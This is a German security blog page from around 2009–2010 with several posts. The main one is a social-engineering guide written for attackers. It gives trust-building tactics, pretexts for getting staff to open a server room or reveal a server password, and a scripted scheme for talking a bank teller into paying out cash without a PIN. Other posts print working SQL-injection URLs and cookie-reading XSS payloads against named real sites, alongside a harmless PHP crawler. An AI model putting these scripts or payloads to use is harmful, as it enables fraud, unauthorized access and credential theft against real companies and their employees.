[Exkurs] – Basismethoden des Social Engineering

20. Januar 2010


Vorbemerkung:

Thematisch passt dieser Beitrag nur bedingt in das Schema unseres Blogs, doch gehört zur Sicherheit, und insbesondere Sicherheitsrisiken auch der nicht-technische Faktor, der eine große Rolle spielt.
Aus diesem Grund möchte ich den, von mir verfassten Text auch hier zur Verfügung stellen, sozusagen als kleinen Exkurs in das Gebiet der menschlichen Fahrlässigkeit.

______________________________________________________


Einleitung:

Die Welt ist übersäht mit Fehlern.
Sie treffen jeden und überall.
Machen keinen Halt vor wirtschaftlichen Entwicklungen, Kriegen und Krisen.
Ob auf dem Schreibtisch des Regierenden, Top-Managern, oder auf großen Ansprachen – Fehler können leicht entstehen.
Die Quelle aller Fehler ist aber meistens dieselbe: Der Mensch

Er neigt zu Fehlentscheidungen , Irrtümern, und Prognosen, die keine sind.
Die Ursache ist eine Stufe unserer Entwicklung, die uns zum Individuum macht, die Emotion.

Beeinflussung findet um uns herum statt, zumeist intuitiv und subtil, um auf sein Gegenüber zu reagieren.
Die Welt lebt von der Information, dessen Besitz zu großer Macht und Ansehen führen kann.
Keine Methode ist daher sinnvoller, um an Informationen zu kommen, als die Schwachstellen des Menschen auszunutzen, und bei dem Punkt anzufangen, an dem die Selbstkontrolle des menschlichen Empfindens endet.
Die Anwendungsfelder sind hierbei nahezu unendlich, hervorgerufen durch die vielen Faktoren, die unser tägliches Leben bestimmen, und immer wieder aufs neue auf die Entscheidungsfähigkeit einzelner Personen angewiesen sind.

Zunächst sollte man generell ein psychologisches Gespür haben, redegewandt und rhetorisch begabt sein. Informationen fliegen einem in der Regel nicht zu, und um selbige zu bekommen benötigt man Ausdauer und viel Kreativität.
Natürlich kann man den ganzen Prozess in einer Form einteilen und kategorisieren – Die folgende Auflistung soll nun einige Basismethoden aufzeigen:


1. Mimikri

Mimikry ist eigentlich ein Begriff der Biologie, der ein Verhalten von Tierarten bezeichnet, die andere Arten nachahmen und zu imitieren versuchen.
Beispiele für dieses Verhalten sind eine Reihe von Tiefseefischen, die mittels eines leuchtenden Fortsatzes auf dem Kopf, kleine Würmer oder Plankton nachahmen um Beute anzulocken, oder Schmetterlinge, dessen Muster auf den Flügeln, dem Feind vorgaukeln, es mit einem gefährlichen Tier zu tun zu haben.

Um Informationen zu bekommen ist dieses Verhalten eine äußerst lukrative Goldgrube, da sie sich auf nahezu jeden Persönlichkeitstyp anwenden lässt.
Zunächst sollte man sein Ziel beobachten, um etwas über seine Verhaltensweisen zu erfahren. Das geht nicht von heute auf morgen, und man sollte zunächst einfach eine lockere Kommunikation mit dem Ziel beginnen, und genau beobachten, wie diese Person redet, charakterlich erscheint, wie ihre Ansichten zur Welt generell sind aber natürlich auch Hobbies und das Privatleben. Mimikry bedeutet in diesem Fall nicht das bloße Kopieren des Gegenübers, welches möglicherweise als Respektlosigkeit interpretiert werden könnte, sondern eher das subtile Vorgehen sich der Persönlichkeit seines Gesprächspartners anzugleichen.

Redewendungen und kleinere Zwangshandlungen sind ein wunderbarer Ansatz, um ins Vertrauen mit dem Gegenüber zu kommen.
Der Mensch ist intuitiv so programmiert, er sich in einer gewohnten Umgebung wohlfühlt.
Dies tritt, analog dazu, auch bei dem Wiederfinden seiner eigenen Ansichten, und Angewohnheiten, bei anderen Personen auf, und baut automatisch ein gewisses Basisvertrauen auf.
Es hilft hierbei schon, Floskeln und Handlungen des Ziels geschickt zu wiederholen, und sich verstärkt auf die Gemeinsamkeiten zu konzentrieren.

Man unterscheidet hierbei zwischen der bewussten und der unbewussten Beeinflussung.
Das mitteilen vom gemeinsamen Musikgeschmack, über ähnliche politischen Ansichten , bis hin zum Traumreiseziel, ist der bewussten Beeinflussung zuzuschreiben, da man das Ziel direkt zu einer Wertung „zwingt“ und weil die Kommunikation in ihrer wörtlichen Form generell ein sehr direkter Weg ist, die Information zu vermitteln.
Die Unbewusste Beeinflussung beschreibt eher das Mitteilen seines eigenen Verhaltens, durch lockeres, freundliches Auftreten, Zuverlässigkeit und bei Bedarf auch den Anwendungen des Mimikry.

Hat man es etwa mit einer gebildeten Person mittleren Alters zu tun, ist es unumgänglich auf Formalitäten zu achten, nicht respektlos zu erscheinen und besonders im Gebiet Rhetorik, Kraftwörter und Slangbegriffe zu vermeiden.

Selbstverständlich ist dieser strikte Rahmen nicht immer vonnöten, sei es zum Beispiel in einem Konfliktgespräch mit einem Teenager:
Vertrauen gewinnen kann der Sprecher eher durch das Zeigen von Verständnis für die Situation des Heranwachsenden. Anstatt also den sprichwörtlichen Teufel an die Wand zu malen, ist es nie verkehrt sich für das Umfeld der Person zu interessieren, dieses zu hinterfragen. Rhetorisch lässt sich auf subtile Art und Weise natürlich sehr gut Vertrauen gewinnen, allein durch benutzen derselben Wortwahl und Gestiken.

Diese Form erfordert in der Regel eine längere Aufbauphase, da es beim Mimikry besonders auf das Vertrauen ankommen. Ist man zeitlich also nicht sehr eingeschränkt sollte man diese Methode unbedingt ausprobiert haben.


2. Hektik

Sie begleitet uns durch das tägliche Alltagsleben, ganz gleich ob der Chef einen Stapel Arbeit bereit hält, oder der Lehrer umfangreiche Aufgaben stellt.
Hektik ist dort, wo Arbeit und Zeitdruck aufeinandertreffen und Menschen in Hektik neigen dazu, mit Scheuklappen durch die Welt zu rennen und möglichst schnell ihre Arbeit beenden zu wollen.
Den meisten Menschen, die in Hektik sind, begegnet man nur ungerne, doch in diesem Falle, wird er zum schwächsten Glied der Kette.
Beispiel:
Ein Unternehmen besitzt einige Räume, dessen Zugang nur durch Karten oder Schlüssel gewährleistet ist, die auch nur ranghöhere Mitarbeiter besitzen.
Allerdings wäre es hochinteressant einen Blick ins Innere zu werfen, und man benötigt etwas Hilfe.
Wenn man das Unternehmen kennt, weiß man auch, wer Zugang zu den entsprechenden Räumen hat. Ist dieser Mitarbeiter dann sogar noch relativ neu, wird er unsicherer sein, als seine Kollegen, die schon länger im Betrieb sind.
Das wichtigste ist, den Moment abzupassen, wenn der Mitarbeiter eigentlich gar keine Zeit hat, und sowieso nur schnell etwas erledigen möchte.
Hier greift man dann schnell ein:
„Entschuldigen Sie, ich möchte Sie gar nicht lange stören. Ich müsste nur einmal kurz in den Serverraum .. den Mailclient neustarten.“
So, oder anders, könnte man zum Beispiel dem Mitarbeiter begegnen.
Wenn dieser wirklich keine Ambitionen hat sich großartig darum zu kümmern, und ihm die Arbeit über den Kopf wächst, wird er schnell den Raum aufsperren, und weiter seiner Arbeit nachgehen. Das ist keine Garantie, doch neigen Menschen in Hektik dazu ihre moralischen Verpflichtungen und Verantwortungen beiseite zu schieben.


3. Rhetorik und ihre Wirkung

Es ist entscheidend, wie man mit Leuten kommuniziert, besonders wenn man Informationen erlangen will.
Sind diese Informationen gar geheim, müssen ein paar Basics bereits vorhanden sein, damit man nicht in Schwierigkeiten gerät.

-Aufregung ist auffällig. Möchten sie geheime Daten erschleichen, muss das Gespräch abgeklärt wirken. Verhaspelt man sich, oder gerät ins Stottern, wird der Gesprächspartner misstrauisch und verweigert sich dem Gespräch, oder ergreift sogar Maßnamen, die den Angreifer in große Schwierigkeiten bringen können.
-Man sollte spontan sein. Ändert der Partner seine Meinung, oder beginnt unangenehme Fragen zu stellen, darf man um keine falsche Antwort verlegen sein, und so antworten, als wäre alles völlig legitim.

Möchte man zum Beispiel das Passwort des Servers in Erfahrung bringen, ist es oft ein sinnvoller Ansatz, dem Gegenüber subtil mitzuteilen, dass man das Passwort ja eigentlich schon kennt, aber vergessen hat.
Verbunden mit einer ruhigen und entspannten Stimmlage wird das Opfer vermutlich auch kein Misstrauen schöpfen.

„Ich werde gerade schnell ein Backup für Herrn XY machen …. Wie war denn noch mal das Passwort? Ich kann mir so was nie merken.“

Man muss dem Opfer also das Gefühl geben, dass man über alles Bescheid weiß, und sich nur noch einmal kurz vergewissern möchte.
Dieses Spielchen lässt sich natürlich mit vielen Mitarbeitern wiederholen, falls die Methode anfangs nicht funktioniert.
Gerade Satzfragmente wie „eben schnell“ oder „wie war doch gleich?“ entsprechen dem alltäglichen, unkomplizierten Umgangston, und wirken nicht befremdlich.


4. Der Herr und sein Hund

Es kann passieren, dass die nette Schiene nicht funktioniert und man muss eine Spur drastischer vorgehen.
Hier gelten die Stichworte Respekt und Dominanz, denn das Ziel dieses Weges ist es, Präsenz auszustrahlen, und so einfach an Informationen zu kommen.
Um dies zu verdeutlichen, ein kleines Beispiel:

An einer Bank gibt es mehrere Möglichkeiten Geld abzuheben.
Zum einen gibt es Geldautomaten, Kassenautomaten und die Schalter, an denen die Mitarbeiter zu finden sind.
Der Aspekt „Dominanz“ impliziert, dass man dementsprechend wirken muss.
Ein Beispiel wäre die Rolle eines vielbeschäftigten Geschäftsmannes, der mit Aktenkoffer, Anzug und viel zu wenig Zeit die Filiale betritt.
Ziel ist es, zunächst als sehr gestresst zu erscheinen, indem man genau darauf achtet, häufig auf die Uhr zu schauen, umherzulaufen oder eventuell sogar zu telefonieren, während man darauf wartet, dass man an der Reihe ist.
Da das Abheben am Geldautomaten aber nicht das Ziel ist, denn eventuell ist es nicht die eigene Karte und man hat keine PIN, muss man sich so verhalten, als funktioniere etwas am Automaten nicht richtig, sodass man zu einem der Schalter muss, um Geld abzuheben.
Schnell muss man sich entscheiden, an welchen Schalter man sich anstellt.
Unerfahrene jüngere Angestellte sind hier geeigneter, da sie den Arbeitsablauf oft noch nicht gewohnt sind, und sich leichter einschüchtern lassen.
Hat man den/die richtige/n Angestellte/n gefunden könnte man wie folgt vorgehen:

Sie: Hallo, wie kann ich Ihnen Helfen?
Ich: Ich habe folgendes Problem und hoffe sie können mir da schnell helfen.
Ich benutze nur Online-Banking bei diesem Konto und habe daher meine PIN vergessen und brauche jetzt dringend Bargeld von diesem Konto.
Sie: Sie können auch Geld am Kassenautomaten abheben und können zusätzlich eine neue Karte beantragen. Denn wenn sie den PIN vergessen haben, ist es das einzige was wir für sie machen können.
Ich: Entschuldigen sich mich einen Moment (Mein Handy Klingelt)
Ich: Ja bitte!
Nein
OK
Ich bin noch bei der Bank, das geht hier aber schnell
Ok, warte du schon beim Anwalt auf mich.
Ich: Tut mir leid, dann würde ich gerne eine neue Karte beantragen
und Geld vom Kassenautomaten abheben.
Sie: Ok, dann folgen sie mir bitte, mein Kollege füllt mit ihnen zusammen
die Formulare aus.
Ich: Können Sie dann für mich das mit den Kassenautomaten erledigen?
Sie: Ja klar.

Das Ausfüllen der Formulare für eine neue Karte ist nicht notwendig, und man sollte es nur so erscheinen lassen, um kein Misstrauen zu erregen.
Es wäre denkbar, dass die Angestellte persönliche Informationen wie den Personalausweis benötigt. An dieser Stelle könnte man wieder das Schema „Hektik“ anwenden, und ein wichtiges weiteres Telefonat vortäuschen, und genervt und eilig wirken, so kann man den/die Mitarbeiter/in einschüchtern, sodass man einige Prozeduren umgehen kann.
Während der Gespräche sollte man sehr selbstsicher und authentisch wirken, sodass man vertrauenswürdig, und zugleich dominant erscheint.
Mit etwas Glück erreicht man anschließend das Ziel, wenn der/die Mitarbeiter/in das Geldabheben gewähren lässt.
Das Ausfüllen der Formulare für die neue EC-Karte kann man dann schnell beenden, mit der Ausrede, das man zu einem dringendem Meeting muss.
Bei dieser Methode wird deutlich, dass man verschiedene Methoden kombinieren kann, um sein Ziel zu erreichen. In diesem Falle „Dominanz“ und „Hektik“.


5. Wie dreht man den Spieß um?

Gerne wendet man selbst Methoden des Social Engineering an, um Schwächen von Personen auszunutzen und Informationen zu bekommen.
Doch was passiert, wenn man selbst ins Visier gerät?
Dies kann bereits bei einem Verkaufsgespräch geschehen, wenn man als „unwissender“ Bürger Beratung bezüglich zukunftsträchtiger Anlagefonds oder Anleihen sucht.
In diesem Fall sucht sich der Berater die Schwachstellen, und erzählt, wie viel Gewinn man doch machen könnte bei einem so „sicheren und stabilen“ Angebot.
„Der Fond ist zwar in den letzten Monaten gefallen, aber Untersuchungen haben gezeigt, dass die Lage sich wieder stabilisiert. Dieser Fond hat ein sehr großes Wachstumspotenzial.“
Diese Sätze kennt man häufig, und wenn der Berater nichts taugt, ist das Geld auch schnell weg – zum einen in der Provision des Beraters und zum anderen im Schuldenloch.
Zu Lehman Brothers Zeiten waren Kunden die nicht Bescheid wussten ein gefundenes Fressen für die ausgebildeten Rhetoriker. AD-Kunden wurden sie genannt, „Alt und doof“.

Wie wendet man also das Blatt? Man muss über die Materie bescheid wissen.
Geht man in ein Gespräch und merkt, dass der Berater nur verkaufen möchte, ist es zum Beispiel möglich, ahnungslos zu tun und nur das beste für sein Kapital zu wollen.
Man analysiert die Strategie so lange, bis man weiß, wie der Berater sein Geschäft machen möchte, und zeigt dann sein wahres Gesicht. Man hat den Berater längst durchschaut, sich im Kopf bereits imaginäre Notizen gemacht und holt dann zum Rückschlag aus: „Sie sagten dass der Fond […] , ich habe recherchiert und die Risiken sind beträchtlich höher, wie sie es darstellten. […]“
Man überrumpelt die Zielperson, und macht sich selbst als Opfer unattraktiv.

Dies kann man auf viele Situationen anpassen und ist eine wirksame Möglichkeit sich selbst zu schützen, allerdings nicht ganz ohne Mühen und Vorwissen.


Fazit:

Die hier aufgezeigten Methoden zum erfolgreichen Manipulieren und Kontrollieren von Verhaltensmustern sind essentiell und sehr nützlich, gerade aus dem Grund, dass sie sich ohne Probleme kombinieren lassen.
All das geht nicht in kurzer Zeit, nach dem Motto: „Ich lerne mal eben dies … und das .. und mache dann .. „ sondern erfordert viel Zeit und Übung.
Es gibt unzählige weitere Strategien, die denen hier aufgeführten ähneln.
Eventuell wird es weitere Texte zu diesem Thema geben.

Mit freundlichen Grüßen
Lidloses_Auge

Lidloses_Auge Sonstiges


SponsorAds Script Sammlung

19. Januar 2010

Einige errinern sich vielleicht noch dran, als ich den SponsorAds Layer Quellcode gepostet habe. Nun habe ich einen kleine Sammlung mit mehreren Quellcodes von Werbemitteln von SponsorAds zusammengestellt.
In der Sammlung findet Ihr folgende Quellcode:

    - Picture Layer
    - Spothlight Layer
    - Frame Layer
    - Magic Corner

Player Javascript


[SQLi] Sparkasse.de – Rechner

3. Januar 2010
http://rechner.sparkasse.de/katalog/index.php?a=overview&template=72+and+1=2--+

Player SQL Injections


[XSS] Conrad.de

31. Dezember 2009
http://www1.conrad.de/fas6/fh.php?fh_host="><script>document.write(document.cookie)</script>

Player XSS


[XSS] eBay.de

16. Dezember 2009
http://training.ebay.de/online-training/appc/content_manager/page.php?ID=9580/"><script>alert(document.cookie)</script>

Player XSS


Block My Referer

15. Dezember 2009

Als ich ein Addon gesucht habe, um den Referer schnell Blockieren zu können, habe ich nur eine ganze Toolbar gefunden. Diese nimmt jedoch wieder etwas Platz weg.
Daher habe ich mich dazu entschlossen, ein eigenes Addon für den Firefox zu machen.

Es ist ein einzelner Button, den man in die Symbolleiste einfügen kann und mit einen einzelnen Klick den Referer blockieren und natürlich wieder freischalten kann.
Da vielleicht manch anderer auch so ein Addon gesucht hat, stelle ich es euch zur verfügung.

firefox_addon

Falls Ihr noch Verbesserungsvorschläge habt oder eine andere Idee für ein Addon, könnt Ihr gerne ein Kommentar hinterlassen.

Player Firefox Addons


NovuSec back on the road

14. Dezember 2009

Kleinere Probleme mit dem Server haben für ein paar Tage den Betrieb brach liegen lassen,
doch kurzerhand wurde dieser wieder aufgenommen.

Wir wünschen Ihnen weiterhin einen angenehmen Aufenthalt auf NovuSec.com

Lidloses_Auge Sonstiges


It’s a spider – Web Crawler als Grundlage für Informationsbeschaffung

26. November 2009

Viele Skripte entstehen, wenn man sich viel mit Webbasierten Skriptsprachen wie PHP und Perl auseinandersetzt,
insbesondere solche Skripts, die der Informationsbeschaffung dienen.
Was die Web-Security betrifft können dies beispielsweise Programme sein, die Seiten auf verwundbare Muster
überprüfen, oder Informationen über das komplette System sammeln.

Ein nützliches Tool, um einen solchen Vorgang zu beginnen, nennt sich Web Crawler / Spider, also ein Skript,
welches sich von Seite zu Seite hangelt, und Informationen ausgibt.
Dies können komplexe Crawler sein, wie der Bot von namenhaften Suchmaschinen, oder kleinere, die lediglich einen
Internetauftritt analysieren.

Kürzlich habe ich einen kleinen Crawler geschrieben, der eine Internetseite nach URL’s durchsucht, und diese auflistet.
Hierbei lassen sich verschiedene Ebenen angeben, sozusagen die Suchtiefe, in die der Crawler vorstoßen soll.
Als praktisches Gimmick gibt es zusätzlich einen Ebenenabhängigen Filter, der die URL’s durch eine Whitelist, sowie eine Blacklist schickt, um so die Auswahl einzugrenzen.
Dieser Filter lässt sich nach Ebenen unterscheiden, sodass es zum Beispiel möglich ist, in Ebene 1 zunächst alle aktuellen Links ohne Einschränkung aufzulisten, und diese dann in Ebene 2 nach URL’s mit dem Inhalt “artikel” zu crawlen.

Hier zunächst der crawler als PHP Quellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
	// Crawler by Lidloses_Auge for http://novusec.com
	ini_set("max_execution_time",0);
	$urllist[0][0] = $argv[1];
	$ebene = $argv[2];
	$url[] = $urllist[0][0];
	$suchmuster = "/\"(https?:\/\/.*)\"/U";
	$lists = load_filter($ebene,"filter.ini");
 
	crawl($ebene,$lists[0],$lists[1]);
 
	function crawl($ebene,$white,$black) {
		global $urllist,$url,$suchmuster;
		for ($i = 0; $i < $ebene; $i++) {
			foreach($urllist[$i] as $urltodo) {
				$src = @file_get_contents($urltodo);
				preg_match_all($suchmuster, $src, $treffer, PREG_SET_ORDER);
				foreach($treffer as $trefferToDo) {
					if (!in_array($trefferToDo[1],$url) & filter($trefferToDo[1],$i,$white,$black)) {
						$url[] = $trefferToDo[1];
						$urllist[$i+1][] = $trefferToDo[1];
						echo "[Ebene=".($i+1)."/$ebene] ".$trefferToDo[1]."\r\n";
					}
				}		
			}
		}
	}
 
	function load_filter($ebene,$filterfile) {	
		$parseebene = 0;
		$filter = file($filterfile);
		foreach($filter as $filtertemp) {
			if (preg_match("/\/\*/",$filtertemp)) {
				$comment = 1;
				$filtertemp = substr($filtertemp,0,strpos($filtertemp,"/*"));
			}
			if (preg_match("/\*\//",$filtertemp)) {
				$comment = 0;
				$filtertemp = substr($filtertemp,strpos($filtertemp,"*/")+2);
			}
			if ($comment < 2) {
				if (preg_match("/\#\#/",$filtertemp)) $filtertemp = substr($filtertemp,0,strpos($filtertemp,"##"));
				if (preg_match("/\[(.*)\]/",$filtertemp)) preg_match("/\[(.*)\]/",$filtertemp,$type);
				if (preg_match("/\{/",$filtertemp)) $parseebene++;
				if (preg_match("/\}/",$filtertemp)) {
					$parseebene--;
					if (!is_array(${strtolower($type[1])}[${parseebene}-0])) ${strtolower($type[1])}[${parseebene}-0][] = "";
				}
				if ($parseebene > 0) {
					if (preg_match("/name\(\"(.*)\"\)/U",$filtertemp,$str)) ${strtolower($type[1])}[${parseebene}-1][] = $str[1];
					preg_match("/inherit\(\"(.*)\"\)/",$filtertemp,$inherit);
					if (strtolower($inherit[1]) == "all") $inherit[1] = $ebene-$parseebene;
					for ($i = $parseebene; $i < ($parseebene + $inherit[1]); $i++) {
						${strtolower($type[1])}[$i][] = $str[1];
					}
				}
			}
			if ($comment == 1) $comment = 2;
		}
		return array($whitelist,$blacklist);
	}
 
	function filter($check,$tempebene,$white,$black) {
		$var = true;
		if (!is_array($white[$tempebene])) $white[$tempebene][] = "";
		if (!is_array($black[$tempebene])) $black[$tempebene][] = "";
		foreach($white[$tempebene] as $wch) {
			foreach($black[$tempebene] as $bch) {
				if (!empty($bch)) $var = $var & (strpos(" ".$check,$bch) == 0);
			}
			if (!empty($wch)) $var = $var & (strpos(" ".$check,$wch) != 0);
		}
		return $var;
	}
?>

Die Version ist in dieser Version auf den Konsolenbetrieb ausgelegt.
Um ihn für den Betrieb im Browser anzupassen, müssten lediglich die Zeilen:

1
2
$urllist[0][0] = $argv[1];
$ebene = $argv[2];

mit

1
2
$urllist[0][0] = $_GET['url'];
$ebene = $_GET['ebene'];

ersetzt werden.

Der Aufruf des Programms im Konsolenbetrieb lautet: php crawler.php
Also zum Beispiel:
php crawler.php http://novusec.com 2

Analog zum Konsolenbetrieb müssten dementsprechend die GET Werte gesetzt werden.

Der Crawler nutzt einen filter, der aus einer Datei eingelesen, und geparsed wird.
Dieser könnte wie folgt aussehen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Whitelist]
{
	name("http://novusec.com") inherit("all")
	##name("tutorials")
	{
		name("injection")
		/*
		{
			name("regex")
		}
		*/
	}
}
[Blacklist]
{
	name("page")
	{
		name("category")
		name("sql")
	}
}

Wie leicht zu erkennen ist, beginnt die Whitelist mit [Whitelist] und die Blacklist mit [Blacklist].
Durch Klammerung unterscheiden sich die verschiedenen Ebenen, und mit dem Attribut “name”
lassen sich die Suchbegriffe festlegen.

In diesem Falle wird in der Whitelist auf Ebene 1 nach “http://novusec.com” gesucht, und in Ebene 2 nach “injection”.
Ursprünglich wurde noch eine dritte Ebene festgelegt, die sich jedoch mit der gewohnten Notation für mehrzeilige
Kommentare nicht mehr beim Suchvorgang auswirkt.
Einzeilige Kommentare habe ich mit zwei Rauten “##” realisiert, wie in diesem Beispiel in der ersten Ebene.

Suchbegriffe lassen sich auf untere Ebenen hin vererben, dies geschieht mit dem Attribut “inherit”.
Dadurch spart man sich Schreibarbeit, wenn man einen Suchbegriff in weiteren Ebenen verwenden möchte.
In diesem Fall wurde der Begriff “http://novusec.com” mit inherit(“all”) auf alle weiteren darunterliegenden Ebenen (sofern diese existieren) vererbt, und muss nicht extra aufgeführt werden. Ebenso ist es möglich eine Zahl anzugeben, sofern man den Begriff nur etwa auf eine weitere Ebene vererben will. Dies geschieht auch in Anführungsstrichen, also zum Beispiel inherit(“1″).

Analog zu der Whitelist gestaltet sich natürlich ebenso die Blacklist, bei der alle Begriffe aufgeführt werden, die NICHT in de Ergebnissen vorkommen sollen.

In diesem Falle möchte ich den Aufruf mit novusec.com auf 2 Suchebenen mit dem oben angegebenen Filter darstellen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
php crawler.php http://novusec.com 2
 
X-Powered-By: PHP/4.4.9
Content-type: text/html
 
[Ebene=1/2] http://novusec.com/feed/
[Ebene=1/2] http://novusec.com/comments/feed/
[Ebene=1/2] http://novusec.com/xmlrpc.php
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/ie6.css
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/js/util.js
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/js/menu.js
[Ebene=1/2] http://novusec.com/xmlrpc.php?rsd
[Ebene=1/2] http://novusec.com/wp-includes/wlwmanifest.xml
[Ebene=1/2] http://novusec.com/wp-content/plugins/dmsguestbook/dmsguestbook.css
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/wp-syntax.css
[Ebene=1/2] http://novusec.com/
[Ebene=1/2] http://novusec.com/links/
[Ebene=1/2] http://novusec.com/shoutbox/
[Ebene=1/2] http://novusec.com/about/
[Ebene=1/2] http://novusec.com/partner/
[Ebene=1/2] http://novusec.com/kontakt/
[Ebene=1/2] http://novusec.com/tools/
[Ebene=1/2] http://novusec.com/sqli-maxdome-de/
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/img/hr.jpg
[Ebene=1/2] http://novusec.com/sqli-maxdome-de/#respond
[Ebene=1/2] http://novusec.com/author/player/
[Ebene=1/2] http://novusec.com/category/sql-injections/
[Ebene=1/2] http://novusec.com/sqli-bild-de-tarifvergleich/
[Ebene=1/2] http://novusec.com/sqli-bild-de-tarifvergleich/#respond
[Ebene=1/2] http://novusec.com/register_globals-ein-sicherheitsrisiko-auf-dem-weg-ins-exil/
[Ebene=1/2] http://novusec.com/register_globals-ein-sicherheitsrisiko-auf-dem-weg-ins-exil/#comments
[Ebene=1/2] http://novusec.com/author/lidloses_auge/
[Ebene=1/2] http://novusec.com/category/php/
[Ebene=1/2] http://novusec.com/xpath-injection-es-geht-auch-ohne-datenbank/
[Ebene=1/2] http://novusec.com/xpath-injection-es-geht-auch-ohne-datenbank/#respond
[Ebene=1/2] http://novusec.com/category/sonstiges/
[Ebene=1/2] http://novusec.com/php-honeypot-script/
[Ebene=1/2] http://novusec.com/php-honeypot-script/#comments
[Ebene=1/2] http://novusec.com/hp/
[Ebene=1/2] http://novusec.com/download/PHP_HoneyPot.rar
[Ebene=1/2] http://novusec.com/wp-content/winrar.png
[Ebene=1/2] http://novusec.com/greasemonkey-oneclickhoster-wait-bypass-script/
[Ebene=1/2] http://novusec.com/greasemonkey-oneclickhoster-wait-bypass-script/#comments
[Ebene=1/2] http://novusec.com/gm/oneclickhoster_wait.user.js
[Ebene=1/2] http://novusec.com/wp-content/greasemonkey.jpg
[Ebene=1/2] http://novusec.com/category/greasemonkey/
[Ebene=1/2] http://novusec.com/adblock-detection-without-javascript/
[Ebene=1/2] http://novusec.com/adblock-detection-without-javascript/#comments
[Ebene=1/2] http://novusec.com/http-response-splitting-crlf-oder-header-injection/
[Ebene=1/2] http://novusec.com/http-response-splitting-crlf-oder-header-injection/#comments
[Ebene=1/2] http://novusec.com/oneclickhoster-wait-bypass/
[Ebene=1/2] http://novusec.com/oneclickhoster-wait-bypass/#comments
[Ebene=1/2] http://novusec.com/category/javascript/
[Ebene=1/2] http://novusec.com/novusec-wieder-online/
[Ebene=1/2] http://novusec.com/novusec-wieder-online/#comments
[Ebene=1/2] http://novusec.com/category/exploits/
[Ebene=1/2] http://novusec.com/category/rfi-lfi/
[Ebene=1/2] http://novusec.com/category/text-tutorials/
[Ebene=1/2] http://novusec.com/category/video-tutorials/
[Ebene=1/2] http://novusec.com/category/xss/
[Ebene=1/2] http://novusec.com/banner/querverweis_88x31o.gif
[Ebene=1/2] http://novusec.com/wp-login.php
[Ebene=1/2] http://novusec.com/wp-content/plugins/wp-useronline/wp-useronline.php
[Ebene=2/2] http://novusec.com/xpath-injection-es-geht-auch-ohne-datenbank/feed/
[Ebene=2/2] http://novusec.com/exploiten-von-preg_replace-regex-injectionremote-code-execution/
[Ebene=2/2] http://novusec.com/exploiten-von-preg_replace-regex-injectionremote-code-execution/#comments
[Ebene=2/2] http://novusec.com/http-response-splitting-crlf-oder-header-injection/feed/

Wie deutlich zu erkennen ist, sind auf Ebene 1 sehr viel mehr URL’s aufgelistet, als bei Ebene 2.
Dies liegt an den strikten Filtereinstellungen für Ebene 2.
Es wurden auf Ebene 2 sämtliche URL’s mit dem Inhalt “injection” aufgelistet, und Begriffe wie “category” und “sql” ausgeschlossen.

In diesem crawler habe ich mich noch nicht besonders um eine ausführliche Fehlerbehandlung bemüht, daher können je nach Filtereinstellung eventuell ein paar Unstimmigkeiten auftreten.
Er soll eher als Beispiel dienen, wie ein crawler arbeiten könnte, mit nützliches Features, wie
dem ebenenabhängigen Filter.

Lidloses_Auge

Lidloses_Auge PHP


[SQLi] Maxdome.de

13. November 2009
http://www.maxdome.de/php-bin/functions/home_flash/homeflash.swf?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+

Player SQL Injections


[SQLi] Bild.de – Tarifvergleich

13. November 2009
http://tarifvergleich.bild.de/dsl/DSL-Anbieter.asp?ID=-1union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--+

Player SQL Injections


Pages: 1 2 3 4 5 6 7 Next